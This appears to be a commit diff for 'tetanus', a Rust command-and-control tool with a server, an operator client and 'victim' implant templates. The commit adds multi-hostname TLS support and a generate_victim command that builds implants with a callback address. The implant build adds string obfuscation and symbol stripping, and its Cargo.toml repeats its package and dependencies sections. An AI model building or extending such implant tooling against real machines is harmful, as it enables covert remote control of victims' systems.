updated some libraries, and fixed a bug with the victim code where it

wouldn't log in.

src/appstate.rs

@@ -130,6 +130,7 @@ impl AppState {
                                     password: String::new(),
                                     name: name.to_string(),
                                     cert_text: String::new(),
+                                    hostnames: Vec::new(),
                                 };
                                 self.servers.push(Arc::new(Mutex::new(new_server)));
                             }
@@ -218,6 +219,7 @@ impl AppState {
                             password: String::new(),
                             name,
                             cert_text: cert,
+                            hostnames: Vec::new(),
                         };
                         self.servers.push(Arc::new(Mutex::new(new_server)));
                     }
@@ -354,24 +356,24 @@ impl AppState {
             }
             "generate_victim" => {
                 let mut success = false;
+                let mut addresses = Vec::new();
                 if let Some(args) = command_args {
-                    if args.split(" ").into_iter().count() == 1 {
+                    if let Some((target, address)) = args.split_once(" ") {
-                        let mut address = String::new();
                         let mut password = String::new();
                         let config_file = self.config_file.clone();
                         let files = self.projects[self.selected_project].files.clone();
                         let mut cert_text = String::new();
                         if let Ok(lock) = self.servers[self.selected_server].lock() {
-                            address = lock.address.clone();
                             password = lock.password.clone();
                             cert_text = lock.cert_text.clone();
+                            addresses = lock.hostnames.clone();
                         }
                         match victim::generate_code(
-                            address,
+                            address.to_string(),
                             password,
                             config_file,
                             files,
-                            args,
+                            target.to_string(),
                             self.main_tx.clone(),
                             cert_text,
                         ) {
@@ -393,6 +395,14 @@ impl AppState {
                     }
                 }
                 if !success {
+                    let _ = self
+                        .main_tx
+                        .send(ToolMessage::Output((0, format!("available addresses:"))));
+                    addresses.iter().for_each(|a| {
+                        let _ = self
+                            .main_tx
+                            .send(ToolMessage::Output((0, format!("{}", a))));
+                    });
                     let _ = self.main_tx.send(ToolMessage::Output((
                         0,
                         format!("Usage: generate_victim (windows/linux)"),
@@ -625,6 +635,7 @@ impl AppState {
                     password: String::new(),
                     name: String::new(),
                     cert_text: String::new(),
+                    hostnames: Vec::new(),
                 };
                 self.servers.push(Arc::new(Mutex::new(new_server)));
                 self.save_all()?;
@@ -2055,6 +2066,7 @@ impl AppState {
             password: String::new(),
             name: String::new(),
             cert_text: String::new(),
+            hostnames: Vec::new(),
         };
         self.servers.push(Arc::new(Mutex::new(new_server)));
         self.prompt.reset();

src/client.rs

@@ -24,6 +24,7 @@ pub struct Server {
     pub password: String,
     pub name: String,
     pub cert_text: String,
+    pub hostnames: Vec<String>,
 }
 
 impl Server {
@@ -56,7 +57,9 @@ impl Server {
         self.last_check = Instant::now();
         let entry = Entry::new("tetanus", &self.address)?;
         if let Ok(password) = entry.get_password() {
-            self.login(password)?;
+            if let Err(e) = self.login(password) {
+                entry.delete_credential()?;
+            }
         }
         return Ok(self.client_id);
     }
@@ -72,6 +75,7 @@ impl Server {
             self.last_check = Instant::now();
             self.logged_in = true;
             self.message_que.push(format!("SET_NAME|{}", self.name));
+            self.message_que.push(format!("REQ_HOSTNAMES"));
             return Ok(());
         } else {
             return Err("[error] logging in!".into());
@@ -82,6 +86,9 @@ impl Server {
         if self.logged_in {
             if let Ok(mut stream) = self.tls_connect() {
                 self.last_check = Instant::now();
+                if self.hostnames.is_empty() {
+                    self.message_que.push("REQ_HOSTNAMES".to_string());
+                }
                 let payload = format!(
                     "{}**{}|||{}\n",
                     self.password.clone(),

src/funcs.rs

@@ -595,6 +595,30 @@ pub fn run_tui(
                                                             let (action, data) =
                                                                 action.split_once("|").unwrap();
                                                             match action.trim() {
+                                                                "HOSTNAMES" => {
+                                                                    let _ = tx_clone.send(
+                                                                        ToolMessage::Output((
+                                                                            0,
+                                                                            "Hostnames recieved:"
+                                                                                .to_string(),
+                                                                        )),
+                                                                    );
+                                                                    data.split(",")
+                                                                        .into_iter()
+                                                                        .for_each(|h| {
+                                                                            let _ = tx_clone.send(
+                                                                            ToolMessage::Output((
+                                                                                0,
+                                                                                h.to_string(),
+                                                                            )),
+                                                                        );
+                                                                            locked_server
+                                                                                .hostnames
+                                                                                .push(
+                                                                                    h.to_string(),
+                                                                                );
+                                                                        });
+                                                                }
                                                                 "OUTPUT" => {
                                                                     let _ = tx_clone.send(
                                                                         ToolMessage::Output((

src/main.rs

@@ -60,6 +60,13 @@ struct Args {
         help = "The name to set this instance, on servers it will name the server so clients know who it is, on clients it names the clinet for server communications. This defaults to the hostname of the machine, or if the hostname can't be determined it falls back to the username of who runs it."
     )]
     name: Option<String>,
+
+    #[arg(
+        short,
+        long,
+        help = "additional hostnames or ip addresses to add to the tls certificate to allow it to connect via portforwarding or proxies. Comma separate the values."
+    )]
+    addresses: Option<String>,
 }
 
 #[tokio::main]
@@ -201,6 +208,13 @@ async fn main() {
                 }
             }
         }
+        let mut addresses = Vec::new();
+        if let Some(adds) = args.addresses {
+            adds.split(",").into_iter().for_each(|a| {
+                addresses.push(a.to_string());
+            });
+        }
+        addresses.push(server_hostname);
         let new_server = server::Server {
             address,
             clients: Vec::new(),
@@ -208,7 +222,7 @@ async fn main() {
             key_path,
             password: server_pass,
             name,
-            hostname: server_hostname,
+            hostnames: addresses,
         };
         let res = start_server(Arc::new(Mutex::new(new_server))).await;
         match res {

src/server.rs

@@ -23,6 +23,7 @@ enum ClientAction {
     Output(String),
     Cmd(String),
     Collab(String),
+    Hostnames(String),
 }
 
 pub struct Client {
@@ -49,7 +50,7 @@ pub struct Server {
     pub key_path: PathBuf,
     pub password: String,
     pub name: String,
-    pub hostname: String,
+    pub hostnames: Vec<String>,
 }
 
 pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Error>> {
@@ -58,13 +59,15 @@ pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Erro
     name_path.pop();
     name_path.push("names.txt");
     let (server_ip, _) = lock.address.split_once(':').unwrap();
-    let server_hostname = lock.hostname.clone();
+    let server_hostnames = lock.hostnames.clone();
-    let current_config_names = vec![
+    let mut current_config_names = vec![
-        server_hostname,
         server_ip.trim().to_string(),
         "127.0.0.1".to_string(),
         "localhost".to_string(),
     ];
+    server_hostnames.iter().for_each(|n| {
+        current_config_names.push(n.clone());
+    });
     let mut regen = true;
     if let Ok(saved_names_string) = read_to_string(&name_path).await {
         let mut saved_names = Vec::new();
@@ -103,7 +106,10 @@ pub async fn start_server(server: Arc<Mutex<Server>>) -> Result<(), Box<dyn Erro
 
     println!("Listening on {}", lock.address);
     println!("password: {}", lock.password);
-
+    println!("Hostnames:");
+    lock.hostnames.iter().for_each(|h| {
+        println!("{}", h);
+    });
     drop(lock);
 
     loop {
@@ -479,6 +485,15 @@ where
                                     _ => {}
                                 }
                             }
+                            else{
+                                if action.contains("REQ_HOSTNAMES") {
+                                    let hostnames = lock.hostnames.clone().join(",");
+                                    lock.clients.iter_mut().filter(|c| c.id == source_id).for_each(|c|{
+                                        c.actions.push(ClientAction::Hostnames(hostnames.clone()));
+                                    });
+                                    println!("hostnames sent!");
+                                }
+                            }
                         });
                     }
                     if responses.len() > 0 {
@@ -495,6 +510,9 @@ where
                                 ClientAction::Collab(text) => {
                                     println!("todo, {}", text);
                                 }
+                                ClientAction::Hostnames(hostnames) => {
+                                    messages.push(format!("HOSTNAMES|{}", hostnames));
+                                }
                             }
                         }
                         let full_message = messages.join("||");
@@ -566,6 +584,9 @@ where
                                 ClientAction::Collab(text) => {
                                     println!("todo, {}", text);
                                 }
+                                ClientAction::Hostnames(_) => {
+                                    messages.push("OUTPUT|Not authenticated".to_string());
+                                }
                             }
                         }
                         let full_message = messages.join("||");

victim_templates/rust_victim/Cargo.toml

@@ -10,3 +10,24 @@ rayon = "1.12.0"
 rustls = "0.23.43"
 rustls-pemfile = "2.2.0"
 sysinfo = "0.39.6"
+
+[package]
+name = "tetanus_victim"
+version = "0.1.0"
+edition = "2024"
+
+[dependencies]
+ipnet = "2.12.1"
+obfstr = "0.4.6"
+rayon = "1.12.0"
+rustls = "0.23.43"
+rustls-pemfile = "2.2.0"
+sysinfo = "0.39.6"
+
+[profile.release]
+opt-level = "s"
+lto = true
+codegen-units = 1
+panic = "abort"
+strip = "symbols"
+debug = false

victim_templates/rust_victim/src/main.rs

@@ -54,6 +54,7 @@ impl Server {
         }
         self.connected = true;
         self.last_check = Instant::now();
+        self.login(self.password.clone())?;
         return Ok(self.client_id);
     }